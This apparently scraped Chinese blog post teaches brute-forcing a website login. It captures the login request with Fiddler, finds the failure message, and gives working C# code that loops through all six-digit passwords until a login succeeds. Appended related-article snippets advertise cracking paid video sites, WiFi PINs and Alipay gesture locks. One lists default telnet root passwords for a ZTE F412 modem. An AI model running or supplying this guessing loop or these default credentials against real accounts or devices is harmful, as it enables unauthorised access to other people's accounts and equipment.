网络爬虫(密码破解)

用到的技术也同样是网络抓包、DOM树分析、网络请求等。

  1. 网络抓包
  2. dom树分析
  3. 网络请求
  4. 循环破解

网络抓包

这里抓包很简单,首先打开fiddler软件,然后打开你要破解的网站,输入用户名和一个假的密码(如果你知道真的密码,就不需要破解了),点击登录,这时候就会从fiddler中查看到一条登录的请求,一般都是POST请求,可以很清楚的从请求内容中看到请求的URl、用户名、密码等,将该语句复制下来,准备下一步工作。

dom树分析

这里的DOM树分析,只需要分析刚刚那条登录请求的结果即可,一般都是提示你登录失败,但是有些返回的是整个html页面,有些是json语句等等,但是终归你会找到一个标识你登录失败的地方,将这个也记录下来,准备下一步工作。

网络请求

此次网络请求在上一篇文章中也有过介绍,在这里我再放出代码,但需要强调的是using (StreamReader sr = new StreamReader(instream, encoding))中的encoding,如果你能看出返回网页的编码方式,这里就改成相应的编码,否则中午会出现乱码的情况,如果不知道,那么可以用GB2312等逐一测试,直到不出现乱码为止。



public string GetContent(string method, string url, string postData = "", CookieContainer cookie = null){
    HttpWebResponse response = null;
    HttpWebRequest request = null;
    if (cookie == null)
        cookie = new CookieContainer();
    // 准备请求...
    try
    {
        // 设置参数
        request = WebRequest.Create(url) as HttpWebRequest;
        request.CookieContainer = cookie;
        request.AllowAutoRedirect = true;
        request.Method = method.ToUpper();
        request.ContentType = "application/x-www-form-urlencoded";
        string userAgent = string.Format("Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.8670)");
        request.UserAgent = userAgent;
        request.ContentLength = postData.Length;
        if (method.ToUpper() == "POST")
        {
            if (!string.IsNullOrEmpty(postData))
            {
                byte[] data = Encoding.Default.GetBytes(postData);
                request.ContentLength = data.Length;
                using (Stream outstream = request.GetRequestStream())
                {
                    outstream.Write(data, 0, data.Length);
                }
            }
        }
        //发送请求并获取相应回应数据
        response = request.GetResponse() as HttpWebResponse;
        //直到request.GetResponse()程序才开始向目标网页发送Post请求
        using (Stream instream = response.GetResponseStream())
        {
            using (StreamReader sr = new StreamReader(instream, encoding))
            {
                //返回结果网页(html)代码
                string content = sr.ReadToEnd();
                return content;
            }
        }
    }
    catch (Exception ex)
    {
        string err = ex.Message;
        return err;
    }
    finally
    {
        if (response != null)
            response.Close();
    }
}

  

 

循环破解

这里是本文的核心,知道了登录的请求方式以及登录失败的提示,接下来就是通过像我们当年破解密码箱密码一样一个个去试,这里只不过用程序自动完成,首先写个循环从0循环到999999(假设6位数密码),然后拼接登录请求中的数据(包含用户名、密码),然后发送网络请求判断请求的结果,如果包含之前找到的失败标识,继续循环,如果不包含,恭喜你密码找到了。代码如下:

int start = 0;
int end = 999999;
for (int i = start; i <= end; i++)
{
    var pass = i.ToString().PadLeft(6, ‘0‘);//不足6位,左边补0
    var post = "usename=yourname" + "&password=" + pass;//拼接请求的数据
    var res = GetContent("POST", loginurl, post);

    if (!res.Contain("失败标识"))
    {
        MessageBox.Show("密码是:" + pass);
        return;
    }
}

  

其中i.ToString().PadLeft(6, ‘0‘)的作用是不足6位补0,让密码满足6位。var post = "usename=yourname" + "&password=" + pass的作用是拼接发送的数据。

时间: 2024-11-13 11:05:04

网络爬虫(密码破解)的相关文章

Python3网络爬虫(八):爱奇艺等主流视频网站的VIP视频破解(在线观看+视频下载)

转载请注明作者和出处:http://blog.csdn.net/c406495762 运行平台: Windows Python版本: Python3.x IDE: Sublime text3 一.前言 没有会员,想在线观看或下载爱奇艺.PPTV.优酷.网易公开课.腾讯视频.搜狐视频.乐视.土豆.A站.B站等主流视频网站的VIP视频?又不想充会员怎么办?博主本次写的VIP视频破解助手也许可以帮你解决烦恼. 二.软件使用说明 1.软件下载 软件运行平台:Windows 注意:该软件已经打包成exe可

跑PIN码破解无线网络WIFI密码的原理分析(转)

你们家用的无线路由器安全吗?有人蹭网吗?无线路由器的漏洞在哪里?这么避免蹭网? 想要了解这些,必须要了解加密以及破解原理. 工具/原料 电脑 足够多足够好的wifi信号源 usb无线网卡(非必需) 一点点耐心 基础知识 1 普通无线加密及破解的分类: 1.wep加密:此类加密比较老旧,非常不安全,十分容易被破解,现在的无线路由器已经抛弃了此类加密方式. 2.PWA/WPA2 PSK加密.这类加密按道理来说是很安全的,但是由于很多路由器为了方便用户上网,设置了QSS快速连接功能(或者叫WPS功能)

下载大数据实战课程第一季Python基础和网络爬虫数据分析

python语言近年来越来越被程序相关人员喜欢和使用,因为其不仅简单容易学习和掌握,而且还有丰富的第三方程序库和相应完善的管理工具:从命令行脚本程序到gui程序,从B/S到C/S,从图形技术到科学计算,软件开发到自动化测试,从云计算到虚拟化,所有这些领域都有python的身影:python已经深入到程序开发的各个领域,并且会越来越多的人学习和使用. 大数据实战课程第一季Python基础和网络爬虫数据分析,刚刚入手,转一注册文件,视频的确不错,可以先下载看看:链接:http://pan.baidu

Python网络爬虫

http://blog.csdn.net/pi9nc/article/details/9734437 一.网络爬虫的定义 网络爬虫,即Web Spider,是一个很形象的名字. 把互联网比喻成一个蜘蛛网,那么Spider就是在网上爬来爬去的蜘蛛.网络蜘蛛是通过网页的链接地址来寻找网页的. 从网站某一个页面(通常是首页)开始,读取网页的内容,找到在网页中的其它链接地址, 然后通过这些链接地址寻找下一个网页,这样一直循环下去,直到把这个网站所有的网页都抓取完为止. 如果把整个互联网当成一个网站,那么

python网络爬虫之cookie的使用方法汇总

在编写python网络爬虫时,除了要考虑到爬虫的异常处理问题,我们是否还会考虑到cookie的使用呢?在使用cookie时,有想过为什么要使用cookie吗?一起来看看吧. Cookie,指某些网站为了辨别用户身份.进行session跟踪而储存在用户本地终端上的数据(通常经过加密)比如说有些网站需要登录后才能访问某个页面,在登录之前,你想抓取某个页面内容是不允许的.那么我们可以利用Urllib2库保存我们登录的Cookie,然后再抓取其他页面就达到目的了. 在此之前呢,我们必须先介绍一个open

支付宝钱包手势密码破解实战

背景 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物.消费已是人们不可或缺的一个生活习惯了.随着这股浪潮的兴起,安全.便捷的移动支付需求也越来越大.因此,各大互联网公司纷纷推出了其移动支付平台.其中,用的比较多的要数腾讯的微信和阿里的支付宝钱包了.就我而言,平时和同事一起出去AA吃饭,下班回家打车等日常生活都已经离不开这两个支付平台了. 正所谓树大招风,移动支付平台的兴起,也给众多一直徘徊在网络阴暗地带的黑客们又一次重生的机会.因为移动平台刚刚兴起,人们对移动平台的安全认识度还

中兴F412光猫超级密码破解、破解用户限制、关闭远程控制、恢复路由器拨号

不少家庭都改了光纤入户,那肯定少不了光猫的吧.今天以中兴F412光猫为例介绍下此型号光猫超级密码的破解方法.一.F412超级密码破解方法1.运行CMD,输入telnet 192.168.1.1: 2.连接成功后,会出现F412 login:提示登陆帐号和密码,帐号root密码root或Zte521(以前是root 现在很多都是Zte521了),输入密码的时候不会有字符提示 输入root回车Zte521回车 3.登陆成功后,会提示busybox的版本,这里可以进行shell操作了 4.输入send

Python实现网络爬虫

一.网络爬虫的定义 网络爬虫,即Web Spider,是一个很形象的名字. 把互联网比喻成一个蜘蛛网,那么Spider就是在网上爬来爬去的蜘蛛. 网络蜘蛛是通过网页的链接地址来寻找网页的. 从网站某一个页面(通常是首页)开始,读取网页的内容,找到在网页中的其它链接地址, 然后通过这些链接地址寻找下一个网页,这样一直循环下去,直到把这个网站所有的网页都抓取完为止. 如果把整个互联网当成一个网站,那么网络蜘蛛就可以用这个原理把互联网上所有的网页都抓取下来. 这样看来,网络爬虫就是一个爬行程序,一个抓

[Python]网络爬虫(四):Opener与Handler的介绍和实例应用(转)

在开始后面的内容之前,先来解释一下urllib2中的两个个方法:info and geturl urlopen返回的应答对象response(或者HTTPError实例)有两个很有用的方法info()和geturl() 1.geturl(): 这个返回获取的真实的URL,这个很有用,因为urlopen(或者opener对象使用的)或许会有重定向.获取的URL或许跟请求URL不同. 以人人中的一个超级链接为例, 我们建一个urllib2_test10.py来比较一下原始URL和重定向的链接: [p